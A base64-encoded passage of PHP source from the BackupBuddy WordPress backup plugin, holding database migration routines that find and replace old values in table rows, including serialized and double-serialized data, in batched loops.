JLy8gUHJldmVudCB0cnlpbmcgdG8gcmVwbGFjZSBkYXRhIHdpdGggdGhlIHNhbWUgZGF0YSBmb3IgcGVyZm9ybWFuY2UuCgkJCSR0aGlzLT5yZW1vdmVfbWF0Y2hpbmdfYXJyYXlfZWxlbWVudHMoICRvbGRzLCAkbmV3cyApOwoJCQkKCQkJZm9yZWFjaCAoICRyb3dzIGFzICRyb3cgKSB7CgkJCQkkaSA9IDA7CgkJCQlmb3JlYWNoICggJG9sZHMgYXMgJG9sZCApIHsKCQkJCQkkcm93c19zcWxbXSA9ICRyb3cgLiAiID0gcmVwbGFjZSggeyRyb3d9LCAneyRvbGR9JywgJ3skbmV3c1skaV19JykiOwoJCQkJCSRpKys7CgkJCQl9CgkJCX0KCQkJCgkJCWdsb2JhbCAkd3BkYjsKCQkJJHdwZGItPnF1ZXJ5KCAiVVBEQVRFIGB7JHRhYmxlfWAgU0VUICIgLiBpbXBsb2RlKCAnLCcsICRyb3dzX3NxbCApIC4gIjsiICk7CgkJCQoJCQlyZXR1cm4gdHJ1ZTsKCQkJCgkJfSAvLyBFbmQgdGV4dCgpLgoJCQoJCQoJCS8qKgoJCSAqCXNlcmlhbGl6ZWQoKQoJCSAqCQoJCSAqCVJlcGxhY2VzIHNlcmlhbGl6ZWQgdGV4dCB3aXRoaW4gYSB0YWJsZSBieSBzcGVjaWZ5aW5nIHRoZSB0YWJsZSwgcm93cyB0byByZXBsYWNlIHdpdGhpbiBhbmQgdGhlIG9sZCBhbmQgbmV3IHZhbHVlKHMpLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGFibGUJCVRhYmxlIHRvIHJlcGxhY2UgdGV4dCBpbi4KCQkgKglAcGFyYW0JCW1peGVkCQkkb2xkcwkJT2xkIHZhbHVlKHMpIHRvIGZpbmQgZm9yIHJlcGxhY2VtZW50LiBNYXkgYmUgYSBzdHJpbmcgb3IgYXJyYXkgb2YgdmFsdWVzLgoJCSAqCUBwYXJhbQkJbWl4ZWQJCSRuZXdzCQlOZXcgdmFsdWUocykgdG8gYmUgcmVwbGFjZWQgd2l0aC4gTWF5IGJlIGEgc3RyaW5nIG9yIGFycmF5LiBJZiBhcnJheSB0aGVyZSBtdXN0IGJlIHRoZSBzYW1lIG51bWJlciBvZiB2YWx1ZXMgYXMgJG9sZHMuCgkJICoJQHBhcmFtCQltaXhlZAkJJHJvd3MJCVRhYmxlIHJvdyhzKSB0byByZXBsYWNlIHdpdGhpbi4gTWF5IGJlIGFuIGFycmF5IG9mIHRhYmxlcy4KCQkgKglAcGFyYW0JCWludAkJCSRyb3dzX3N0YXJ0CVJvdyB0byBzdGFydCBhdC4gVXNlZCBmb3IgcmVzdW1pbmcuCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNlcmlhbGl6ZWQoICR0YWJsZSwgJG9sZHMsICRuZXdzLCAkcm93cywgJHJvd3Nfc3RhcnQgPSAnJyApIHsKCQkJaWYgKCAhaXNfYXJyYXkoICRvbGRzICkgKSB7CgkJCQkkb2xkcyA9IGFycmF5KCAkb2xkcyApOwoJCQl9CgkJCWlmICggIWlzX2FycmF5KCAkbmV3cyApICkgewoJCQkJJG5ld3MgPSBhcnJheSggJG5ld3MgKTsKCQkJfQoJCQlpZiAoICFpc19hcnJheSggJHJvd3MgKSApIHsKCQkJCSRyb3dzID0gYXJyYXkoICRyb3dzICk7CgkJCX0KCQkJCgkJCWdsb2JhbCAkd3BkYjsKCQkJCgkJCS8vIEdldCB0aGUgdG90YWwgcm93IGNvdW50IGZvciB0aGlzIHRhYmxlCgkJCSR0b3RhbF9yb3dzID0gMDsKCQkJJHRhYmxlc19zdGF0dXMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJTSE9XIFRBQkxFIFNUQVRVUyIsIEFSUkFZX0EgKTsKCQkJCgkJCWZvcmVhY2ggKCAkdGFibGVzX3N0YXR1cyBhcyAkdGFibGVfc3RhdHVzICkgewoJCQkKCQkJCWlmICggJHRhYmxlID09PSAkdGFibGVfc3RhdHVzWyAnTmFtZScgXSApIHsKCQkJCQoJCQkJCS8vIEZpeCB1cCByb3cgY291bnQgYW5kIGF2ZXJhZ2Ugcm93IGxlbmd0aCBmb3IgSW5ub0RCIGVuZ2luZSB3aGljaCByZXR1cm5zIGluYWNjdXJhdGUKCQkJCQkvLyAoYW5kIGNoYW5naW5nKSB2YWx1ZXMgZm9yIHRoZXNlCgkJCQkJaWYgKCAnSW5ub0RCJyA9PT0gJHRhYmxlX3N0YXR1c1sgJ0VuZ2luZScgXSApIHsKCQkJCQkJaWYgKCBmYWxzZSAhPT0gKCAkY291bnQgPSAkd3BkYi0+Z2V0X3ZhciggIlNFTEVDVCBDT1VOVCgxKSBGUk9NIGB7JHRhYmxlX3N0YXR1c1snTmFtZSddfWAiICkgKSApIHsKCQkJCQkJCSR0YWJsZV9zdGF0dXNbICdSb3dzJyBdID0gJGNvdW50OwoJCQkJCQl9CgkJCQkJfQoJCQkKCQkJCQkkdG90YWxfcm93cyA9ICR0YWJsZV9zdGF0dXNbICdSb3dzJyBdOwoJCQkJCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQkvLyBQcmV2ZW50IHRyeWluZyB0byByZXBsYWNlIGRhdGEgd2l0aCB0aGUgc2FtZSBkYXRhIGZvciBwZXJmb3JtYW5jZS4KCQkJJHRoaXMtPnJlbW92ZV9tYXRjaGluZ19hcnJheV9lbGVtZW50cyggJG9sZHMsICRuZXdzICk7CgkJCSRrZXlfcmVzdWx0cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIlNIT1cgS0VZUyBGUk9NIGB7JHRhYmxlfWAgV0hFUkUgS2V5X25hbWU9J1BSSU1BUlknOyIsIEFSUkFZX0EgKTsKCQkJaWYgKCAka2V5X3Jlc3VsdHMgPT09IGZhbHNlICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVGFibGUgYCcgLiAkdGFibGUgLiAnYCBkb2VzIG5vdCBleGlzdDsgc2tpcHBpbmcgbWlncmF0aW9uIG9mIHRoaXMgdGFibGUuJyApOwoJCQkJcmV0dXJuOwoJCQl9CgkJCQoJCQkvLyBObyBwcmltYXJ5IGtleSBmb3VuZDsgdW5zYWZlIHRvIGVkaXQgdGhpcyB0YWJsZS4gQHNpbmNlIDIuMi4zMi4KCQkJaWYgKCBjb3VudCggJGtleV9yZXN1bHRzICkgPT0gMCApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0Vycm9yICM5MDI5OiBXYXJuaW5nIG9ubHkhIFRhYmxlIGAnLiAgJHRhYmxlIC4nYCBkb2VzIG5vdCBjb250YWluIGEgcHJpbWFyeSBrZXk7IEJhY2t1cEJ1ZGR5IGNhbm5vdCBzYWZlbHkgbW9kaWZ5IHRoZSBjb250ZW50cyBvZiB0aGlzIHRhYmxlLiBTa2lwcGluZyBtaWdyYXRpb24gb2YgdGhpcyB0YWJsZS4gKHNlcmlhbGl6ZWQoKSkuJyApOwoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQkJCgkJCSRwcmltYXJ5X2tleSA9ICRrZXlfcmVzdWx0c1swXVsnQ29sdW1uX25hbWUnXTsKCQkJdW5zZXQoICRrZXlfcmVzdWx0ICk7CgkJCQoJCQkkdXBkYXRlZCA9IGZhbHNlOyAvLyBXYXMgc29tZXRoaW5nIGluIERCIHVwZGF0ZWQ/CgkJCSRyb3dzX3JlbWFpbiA9IHRydWU7IC8vIE1vcmUgcm93cyByZW1haW5pbmcgLyBha2EgYW5vdGhlciBxdWVyeSBmb3IgbW9yZSByb3dzIG5lZWRlZC4KCQkJaWYgKCAnJyA9PSAkcm93c19zdGFydCApIHsKCQkJCSRyb3dzX3N0YXJ0ID0gMDsKCQkJfQoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5kaW5nIHJvd3MgaW4gdGFibGUgYCcgLiAkdGFibGUgLiAnYCB0byB1cGRhdGUuJyApOwoJCQl3aGlsZSAoIHRydWUgPT09ICRyb3dzX3JlbWFpbiApIHsgLy8gS2VlcCBsb29waW5nIHRocm91Z2ggcm93cyB1bnRpbCBub25lIHJlbWFpbi4gTG9vcGluZyB0aHJvdWdoIGxpa2UgdGhpcyB0byBsaW1pdCBtZW1vcnkgdXNhZ2UgYXMgd3BkYiBjbGFzc2VzIGxvYWRzIGFsbCByZXN1bHRzIGludG8gbWVtb3J5LgoJCQkJJHJvd3NSZXN1bHQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJTRUxFQ1QgYCIgLiBpbXBsb2RlKCAnYCxgJywgJHJvd3MgKSAuICJgLGB7JHByaW1hcnlfa2V5fWAgRlJPTSBgeyR0YWJsZX1gIExJTUlUICIgLiAkcm93c19zdGFydCAuICcsJyAuIHNlbGY6Ok1BWF9ST1dTX1BFUl9TRUxFQ1QgKTsKCQkJCSRyb3dzQ291bnQgPSBjb3VudCggJHJvd3NSZXN1bHQgKTsKCgkJCQkvLyBQcm92aWRlIGFuIHVwZGF0ZSBvbiBwcm9ncmVzcwoJCQkJaWYgKCAwID09PSAkcm93c0NvdW50ICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1RhYmxlOiBgJy4gJHRhYmxlIC4gJ2AgLSBwcm9jZXNzaW5nICcgLiAkcm93c0NvdW50IC4gJyByb3dzICggb2YgJyAuICR0b3RhbF9yb3dzIC4gJyApJyApOwkJCQkKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVGFibGU6IGAnLiAkdGFibGUgLiAnYCAtIHByb2Nlc3NpbmcgJyAuICRyb3dzQ291bnQgLiAnIHJvd3MgKCBSb3dzICcgLiAkcm93c19zdGFydCAuICctJyAuICggJHJvd3Nfc3RhcnQgKyAkcm93c0NvdW50IC0gMSApIC4gJyBvZiAnIC4gJHRvdGFsX3Jvd3MgLiAnICknICk7CQoJCQkJfQoJCQkJCgkJCQkkcm93c19zdGFydCArPSBzZWxmOjpNQVhfUk9XU19QRVJfU0VMRUNUOyAvLyBOZXh0IGxvb3Agd2Ugd2lsbCBiZWdpbiBhdCB0aGlzIG9mZnNldC4KCQkJCWlmICggKCAwID09ICRyb3dzQ291bnQgKSB8fCAoICRyb3dzQ291bnQgPCBzZWxmOjpNQVhfUk9XU19QRVJfU0VMRUNUICkgKSB7CgkJCQkJJHJvd3NfcmVtYWluID0gZmFsc2U7CgkJCQl9CgkJCQkKCQkJCWZvcmVhY2goICRyb3dzUmVzdWx0IGFzICRyb3cgKSB7CgkJCQkJJG5lZWRzX3VwZGF0ZSA9IGZhbHNlOwoJCQkJCSRzcWxfdXBkYXRlID0gYXJyYXkoKTsKCQkJCQkKCQkJCQlmb3JlYWNoKCAkcm93IGFzICRjb2x1bW4gPT4gJHZhbHVlICkgewoJCQkJCQlpZiAoICRjb2x1bW4gIT0gJHByaW1hcnlfa2V5ICkgewoJCQkJCQkJaWYgKCBmYWxzZSAhPT0gKCAkZWRpdGVkX2RhdGEgPSAkdGhpcy0+cmVwbGFjZV9tYXliZV9zZXJpYWxpemVkKCAkdmFsdWUsICRvbGRzLCAkbmV3cyApICkgKSB7IC8vIERhdGEgY2hhbmdlZC4KCQkJCQkJCQkkbmVlZHNfdXBkYXRlID0gdHJ1ZTsKCQkJCQkJCQkkc3FsX3VwZGF0ZVtdID0gJGNvbHVtbiAuICI9ICciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRlZGl0ZWRfZGF0YSApIC4gIiciOwoJCQkJCQkJfQoJCQkJCQl9IGVsc2UgewoJCQkJCQkJJHByaW1hcnlfa2V5X3ZhbHVlID0gJHZhbHVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJCQoJCQkJCWlmICggJG5lZWRzX3VwZGF0ZSA9PT0gdHJ1ZSApIHsKCQkJCQkJJHVwZGF0ZWQgPSB0cnVlOwoJCQkJCQkkd3BkYi0+cXVlcnkoICJVUERBVEUgYHskdGFibGV9YCBTRVQgIiAuIGltcGxvZGUoICcsJywgJHNxbF91cGRhdGUgKSAuICIgV0hFUkUgYHskcHJpbWFyeV9rZXl9YCA9ICd7JHByaW1hcnlfa2V5X3ZhbHVlfScgTElNSVQgMSIgKTsKCQkJCQl9CgkJCQl9CgkJCQl1bnNldCggJHJvd3NSZXN1bHQgKTsKCQkJCQoJCQkJLy8gU2VlIGhvdyB3ZSBhcmUgZG9pbmcgb24gdGltZS4gVHJpZ2dlciBjaHVua2luZyBpZiBuZWVkZWQuCgkJCQlpZiAoICggKCBtaWNyb3RpbWUoIHRydWUgKSAtICR0aGlzLT5zdGFydFRpbWUgKSArICR0aGlzLT50aW1lV2lnZ2xlUm9vbSApID49ICR0aGlzLT5tYXhFeGVjdXRpb25UaW1lICkgewoJCQkJCXJldHVybiBhcnJheSggJHJvd3Nfc3RhcnQgKTsKCQkJCX0KCQkJfQoJCQkKCQkJaWYgKCAkdXBkYXRlZCA9PT0gdHJ1ZSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1VwZGF0ZWQgc2VyaWFsaXplZCBkYXRhIGluIHRhYmxlIGAnIC4gJHRhYmxlIC4gJ2AuJyApOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTm90aGluZyBmb3VuZCB0byB1cGRhdGUgaW4gdGFibGUgYCcgLiAkdGFibGUgLiAnYC4nICk7CgkJCX0KCQkJcmV0dXJuIHRydWU7CgkJfSAvLyBFbmQgc2VyaWFsaXplZCgpLgoJCQoJCQoJCS8qKgoJCSAqCXJlcGxhY2VfbWF5YmVfc2VyaWFsaXplZCgpCgkJICoJCgkJICoJUmVwbGFjZXMgcG9zc2libHkgc2VyaWFsaXplZCAob3Igbm9uLXNlcmlhbGl6ZWQpIHRleHQgaWYgYSBjaGFuZ2UgaXMgbmVlZGVkLiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIHdhcyBubyBjaGFuZ2UuCgkJICogIE5vdGU6IEFzIG9mIEJCIHYzLjIueCBzdXBwb3J0cyBkb3VibGUgc2VyaWFsaXplZCBkYXRhLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGFibGUJCVRleHQgKHBvc3NpYmx5IHNlcmlhbGl6ZWQpIHRvIHVwZGF0ZS4KCQkgKglAcGFyYW0JCW1peGVkCQkkb2xkcwkJVGV4dCB0byBzZWFyY2ggZm9yIHRvIHJlcGxhY2UuIE1heSBiZSBhbiBhcnJheSBvZiBzdHJpbmdzIHRvIHNlYXJjaCBmb3IuCgkJICoJQHBhcmFtCQltaXhlZAkJJG5ld3MJCU5ldyB2YWx1ZShzKSB0byBiZSByZXBsYWNlZCB3aXRoLiBNYXkgYmUgYSBzdHJpbmcgb3IgYXJyYXkuIElmIGFycmF5IHRoZXJlIG11c3QgYmUgdGhlIHNhbWUgbnVtYmVyIG9mIHZhbHVlcyBhcyAkb2xkcy4KCQkgKglAcmV0dXJuCQltaXhlZAkJCQkJUmV0dXJucyBtb2RpZmllZCBzdHJpbmcgZGF0YSBpZiBzZXJpYWxpemVkIGRhdGEgd2FzIHJlcGxhY2VkLiBGYWxzZSBpZiBubyBjaGFuZ2Ugd2FzIG1hZGUuCgkJICoKCQkgKi8KCQlmdW5jdGlvbiByZXBsYWNlX21heWJlX3NlcmlhbGl6ZWQoICRkYXRhLCAkb2xkcywgJG5ld3MgKSB7CgkJCWlmICggIWlzX2FycmF5KCAkb2xkcyApICkgewoJCQkJJG9sZHMgPSBhcnJheSggJG9sZHMgKTsKCQkJfQoJCQlpZiAoICFpc19hcnJheSggJG5ld3MgKSApIHsKCQkJCSRuZXdzID0gYXJyYXkoICRuZXdzICk7CgkJCX0KCQkJCgkJCSR0eXBlID0gJyc7CgkJCSR1bnNlcmlhbGl6ZWQgPSBmYWxzZTsgLy8gZmlyc3QgYXNzdW1lIG5vdCBzZXJpYWxpemVkIGRhdGEKCQkJaWYgKCBpc19zZXJpYWxpemVkKCAkZGF0YSApICkgeyAvLyBjaGVjayBpZiB0aGlzIGlzIHNlcmlhbGl6ZWQgZGF0YQoJCQkJJHVuc2VyaWFsaXplZCA9IEB1bnNlcmlhbGl6ZSggJGRhdGEgKTsgLy8gdW5zZXJpYWxpc2UgLSBpZiBmYWxzZSBpcyByZXR1cm5lZCB3ZSB3b24ndCB0cnkgdG8gcHJvY2VzcyBpdCBhcyBzZXJpYWxpc2VkLgoJCQl9CgkJCWlmICggJHVuc2VyaWFsaXplZCAhPT0gZmFsc2UgKSB7IC8vIFNlcmlhbGl6ZWQgZGF0YS4KCQkJCSR0eXBlID0gJ3NlcmlhbGl6ZWQnOwoJCQkJCgkJCQkkZG91YmxlX3NlcmlhbGl6ZWQgPSBmYWxzZTsKCQkJCWlmICggaXNfc2VyaWFsaXplZCggJHVuc2VyaWFsaXplZCApICkgeyAvLyBkb3VibGUtc2VyaWFsaXplZCBkYXRhIChvcHBvc2l0ZSBvZiBhIGRvdWJsZSByYWluYm93KS4gU29tZSBwbHVnaW5zIHNlZW0gdG8gZG91YmxlLXNlcmlhbGl6ZSBmb3Igc29tZSB1bmtub3duIHdhY2t5IHJlYXNvbi4uLgoJCQkJCSR1bnNlcmlhbGl6ZWQgPSBAdW5zZXJpYWxpemUoICR1bnNlcmlhbGl6ZWQgKTsgLy8gdW5zZXJpYWxpc2UgLSBpZiBmYWxzZSBpcyByZXR1cm5lZCB3ZSB3b24ndCB0cnkgdG8gcHJvY2VzcyBpdCBhcyBzZXJpYWxpc2VkLgoJCQkJCSRkb3VibGVfc2VyaWFsaXplZCA9IHRydWU7CgkJCQl9CgkJCQkKCQkJCSRpID0gMDsKCQkJCWZvcmVhY2ggKCAkb2xkcyBhcyAkb2xkICkgewoJCQkJCSR0aGlzLT5yZWN1cnNpdmVfYXJyYXlfcmVwbGFjZSggJG9sZCwgJG5ld3NbJGldLCAkdW5zZXJpYWxpemVkICk7CgkJCQkJJGkrKzsKCQkJCX0KCQkJCQoJCQkJJGVkaXRlZF9kYXRhID0gc2VyaWFsaXplKCAkdW5zZXJpYWxpemVkICk7CgkJCQlpZiAoIHRydWUgPT09ICRkb3VibGVfc2VyaWFsaXplZCApIHsKCQkJCQkkZWRpdGVkX2RhdGEgPSBzZXJpYWxpemUoICRlZGl0ZWRfZGF0YSApOwoJCQkJfQoJCQkJCgkJCX0JZWxzZSB7IC8vIE5vbi1zZXJpYWxpemVkIGRhdGEuCgkJCQkkdHlwZSA9ICd0ZXh0JzsKCQkJCSRlZGl0ZWRfZGF0YSA9ICRkYXRhOwoJCQkJJGkgPSAwOwoJCQkJZm9yZWFjaCAoICRvbGRzIGFzICRvbGQgKSB7CgkJCQkJJGVkaXRlZF9kYXRhID1zdHJfaXJlcGxhY2UoICRvbGQsICRuZXdzWyRpXSwgJGVkaXRlZF9kYXRhICk7CgkJCQkJJGkrKzsKCQkJCX0KCQkJfQoJCQkKCQkJLy8gUmV0dXJuIHRoZSByZXN1bHRzLgoJCQlpZiAoICRkYXRhICE9ICRlZGl0ZWRfZGF0YSApIHsKCQkJCXJldHVybiAkZWRpdGVkX2RhdGE7CgkJCX0gZWxzZSB7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9IC8vIEVuZCByZXBsYWNlX21heWJlX3NlcmlhbGl6ZWQoKS4KCQkKCQkKCQkvKioKCQkgKglicnV0ZWZvcmNlX3RhYmxlKCkKCQkgKgoJCSAqCSEhISBIQU5ETEVTIFNFUklBTElaRUQgREFUQSAhISEhCgkJICoJUmVwbGFjZXMgdGV4dCwgc2VyaWFsaXplZCBvciBub3QsIHdpdGhpbiB0aGUgZW50aXJlIHRhYmxlLiBCcnV0ZWZvcmNlIG1ldGhvZCBpdGVyYXRlcyB0aHJvdWdoIGV2ZXJ5IHJvdyAmIGNvbHVtbiBpbiB0aGUgZW50aXJlIHRhYmxlIGFuZCByZXBsYWNlcyBpZiBuZWVkZWQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR0YWJsZQkJVGV4dCAocG9zc2libHkgc2VyaWFsaXplZCkgdG8gdXBkYXRlLgoJCSAqCUBwYXJhbQkJbWl4ZWQJCSRvbGRzCQlUZXh0IHRvIHNlYXJjaCBmb3IgdG8gcmVwbGFjZS4gTWF5IGJlIGFuIGFycmF5IG9mIHN0cmluZ3MgdG8gc2VhcmNoIGZvci4KCQkgKglAcGFyYW0JCW1peGVkCQkkbmV3cwkJTmV3IHZhbHVlKHMpIHRvIGJlIHJlcGxhY2VkIHdpdGguIE1heSBiZSBhIHN0cmluZyBvciBhcnJheS4gSWYgYXJyYXkgdGhlcmUgbXVzdCBiZSB0aGUgc2FtZSBudW1iZXIgb2YgdmFsdWVzIGFzICRvbGRzLgoJCSAqCUByZXR1cm4JCWludAkJCQkJCU51bWJlciBvZiByb3dzIGNoYW5nZWQuCgkJICoKCQkgKi8KCQlmdW5jdGlvbiBicnV0ZWZvcmNlX3RhYmxlKCAkdGFibGUsICRvbGRzLCAkbmV3cywgJHJvd3Nfc3RhcnQgPSAnJyApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnU3RhcnRpbmcgYnJ1dGUgZm9yY2UgZGF0YSBtaWdyYXRpb24gZm9yIHRhYmxlIGAnIC4gJHRhYmxlIC4gJ2AuLi4nICk7CgkJCWlmICggIWlzX2FycmF5KCAkb2xkcyApICkgewoJCQkJJG9sZHMgPSBhcnJheSggJG9sZHMgKTsKCQkJfQoJCQlpZiAoICFpc19hcnJheSggJG5ld3MgKSApIHsKCQkJCSRuZXdzID0gYXJyYXkoICRuZXdzICk7CgkJCX0KCQkJCgkJCSRjb3VudF9pdGVtc19jaGVja2VkID0gMDsKCQkJJGNvdW50X2l0ZW1zX2NoYW5nZWQgPSAwOwoJCQkKCQkJZ2xvYmFsICR3cGRiOwoJCQkKCQkJLy8gR2V0IHRoZSB0b3RhbCByb3cgY291bnQgZm9yIHRoaXMgdGFibGUKCQkJJHRvdGFsX3Jvd3MgPSAwOwoJCQkkdGFibGVzX3N0YXR1cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIlNIT1cgVEFCTEUgU1RBVFVTIiwgQVJSQVlfQSApOwoJCQkKCQkJZm9yZWFjaCAoICR0YWJsZXNfc3RhdHVzIGFzICR0YWJsZV9zdGF0dXMgKSB7CgkJCQoJCQkJaWYgKCAkdGFibGUgPT09ICR0YWJsZV9zdGF0dXNbICdOYW1lJyBdICkgewoJCQkJCgkJCQkJLy8gRml4IHVwIHJvdyBjb3VudCBhbmQgYXZlcmFnZSByb3cgbGVuZ3RoIGZvciBJbm5vREIgZW5naW5lIHdoaWNoIHJldHVybnMgaW5hY2N1cmF0ZQoJCQkJCS8vIChhbmQgY2hhbmdpbmcpIHZhbHVlcyBmb3IgdGhlc2UKCQkJCQlpZiAoICdJbm5vREInID09PSAkdGFibGVfc3RhdHVzWyAnRW5naW5lJyBdICkgewoJCQkJCQlpZiAoIGZhbHNlICE9PSAoICRjb3VudCA9ICR3cGRiLT5nZXRfdmFyKCAiU0VMRUNUIENPVU5UKDEpIEZST00gYHskdGFibGVfc3RhdHVzWydOYW1lJ119YCIgKSApICkgewoJCQkJCQkJJHRhYmxlX3N0YXR1c1sgJ1Jvd3MnIF0gPSAkY291bnQ7CgkJCQkJCX0KCQkJCQl9CgkJCQoJCQkJCSR0b3RhbF9yb3dzID0gJHRhYmxlX3N0YXR1c1sgJ1Jvd3MnIF07CgkJCQkKCQkJCX0KCQkJCgkJCX0KCQkJCgkJCSRmaWVsZHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJERVNDUklCRSBgeyR0YWJsZX1gIiwgQVJSQVlfQSApOwoJCQkkY29sdW1uX25hbWUgPSBhcnJheSgpOwoJCQkkdGFibGVfaW5kZXggPSBhcnJheSgpOwoJCQkkaSA9IDA7CgkJCQoJCQkkZm91bmRfcHJpbWFyeV9rZXkgPSBmYWxzZTsKCQkJCgkJCWZvcmVhY2goICRmaWVsZHMgYXMgJGZpZWxkICkgewoJCQkJJGNvbHVtbl9uYW1lWyRpKytdID0gJGZpZWxkWydGaWVsZCddOwoJCQkJaWYgKCAkZmllbGRbJ0tleSddID09ICdQUkknICkgewoJCQkJCSR0YWJsZV9pbmRleFskaV0gPSB0cnVlOwoJCQkJCSRmb3VuZF9wcmltYXJ5X2tleSA9IHRydWU7CgkJCQl9CgkJCX0KCQkJCgkJCS8vIFNraXBzIG1pZ3JhdGlvbiBvZiB0aGlzIHRhYmxlIGlmIHRoZXJlIGlzIG5vIHByaW1hcnkga2V5LiBNb2RpZnlpbmcgb24gYW55IG90aGVyIGtleSBpcyBub3Qgc2FmZS4gbXlzcWwgYXV0b21hdGljYWxseSByZXR1cm5zIGEgUFJJTUFSWSBpZiBhIFVOSVFVRSBub24tcHJpbWFyeSBpcyBmb3VuZCBhY2NvcmRpbmcgdG8gaHR0cDovL2Rldi5teXNxbC5jb20vZG9jL3JlZm1hbi81LjEvZW4vY3JlYXRlLXRhYmxlLmh0bWwgIEBzaW5jZSAyLjIuMzIuCgkJCWlmICggJGZvdW5kX3ByaW1hcnlfa2V5ID09PSBmYWxzZSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ0Vycm9yICM5MDI5YjogV2FybmluZyBvbmx5ISBUYWJsZSBgJyAuICR0YWJsZSAuICdgIGRvZXMgbm90IGNvbnRhaW4gYSBwcmltYXJ5IGtleTsgQmFja3VwQnVkZHkgY2Fubm90IHNhZmVseSBtb2RpZnkgdGhlIGNvbnRlbnRzIG9mIHRoaXMgdGFibGUuIFNraXBwaW5nIG1pZ3JhdGlvbiBvZiB0aGlzIHRhYmxlLiAoYnJ1dGVmb3JjZV90YWJsZSgpKS4nICk7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCQkKCQkJJHJvd19sb29wID0gMDsKCgkJCSRyb3dzX3JlbWFpbiA9IHRydWU7IC8vIE1vcmUgcm93cyByZW1haW5pbmcgLyBha2EgYW5vdGhlciBxdWVyeSBmb3IgbW9yZSByb3dzIG5lZWRlZC4KCQkJaWYgKCAnJyA9PSAkcm93c19zdGFydCApIHsKCQkJCSRyb3dzX3N0YXJ0ID0gMDsKCQkJfQoKCQkJd2hpbGUgKCB0cnVlID09PSAkcm93c19yZW1haW4gKSB7IC8vIEtlZXAgbG9vcGluZyB0aHJvdWdoIHJvd3MgdW50aWwgbm9uZSByZW1haW4uIExvb3BpbmcgdGhyb3VnaCBsaWtlIHRoaXMgdG8gbGltaXQgbWVtb3J5IHVzYWdlIGFzIHdwZGIgY2xhc3NlcyBsb2FkcyBhbGwgcmVzdWx0cyBpbnRvIG1lbW9yeS4KCgkJCQkkZGF0YSA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIlNFTEVDVCAqIEZST00gYHskdGFibGV9YCBMSU1JVCB7JHJvd3Nfc3RhcnR9LCIgLiBzZWxmOjpNQVhfUk9XU19QRVJfU0VMRUNULCBBUlJBWV9BICk7CgkJCQlpZiAoIGZhbHNlID09PSAkZGF0YSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRVJST1IgIzQ0NTQ1MzQzIC4uLiBTUUwgRVJST1I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOwoJCQkJfQoJCQkJCgkJCQkvLyBQcm92aWRlIGFuIHVwZGF0ZSBvbiBwcm9ncmVzcwoJCQkJJHJvd3NDb3VudCA9IGNvdW50KCAkZGF0YSApOwoJCQkJaWYgKCAwID09PSAkcm93c0NvdW50ICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1RhYmxlOiBgJy4gJHRhYmxlIC4gJ2AgLSBwcm9jZXNzaW5nICcgLiAkcm93c0NvdW50IC4gJyByb3dzICggb2YgJyAuICR0b3RhbF9yb3dzIC4gJyApJyApOwkJCQkKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVGFibGU6IGAnLiAkdGFibGUgLiAnYCAtIHByb2Nlc3NpbmcgJyAuICRyb3dzQ291bnQgLiAnIHJvd3MgKCBSb3dzICcgLiAkcm93c19zdGFydCAuICctJyAuICggJHJvd3Nfc3RhcnQgKyAkcm93c0NvdW50IC0gMSApIC4gJyBvZiAnIC4gJHRvdGFsX3Jvd3MgLiAnICknICk7CQoJCQkJfQoJCQkJCgkJCQkkcm93c19zdGFydCArPSBzZWxmOjpNQVhfUk9XU19QRVJfU0VMRUNUOyAvLyBOZXh0IGxvb3Agd2Ugd2lsbCBiZWdpbiBhdCB0aGlzIG9mZnNldC4KCQkJCWlmICggKCAwID09ICRyb3dzQ291bnQgKSB8fCAoICRyb3dzQ291bnQgPCBzZWxmOjpNQVhfUk9XU19QRVJfU0VMRUNUICkgKSB7CgkJCQkJJHJvd3NfcmVtYWluID0gZmFsc2U7CgkJCQl9CgkJCgkJCQlmb3JlYWNoKCAkZGF0YSBhcyAkcm93ICkgewoJCQkJCSRuZWVkX3RvX3VwZGF0ZSA9IGZhbHNlOwoJCQkJCSRVUERBVEVfU1FMID0gJ1VQREFURSBgJyAuICR0YWJsZSAuICdgIFNFVCAnOwo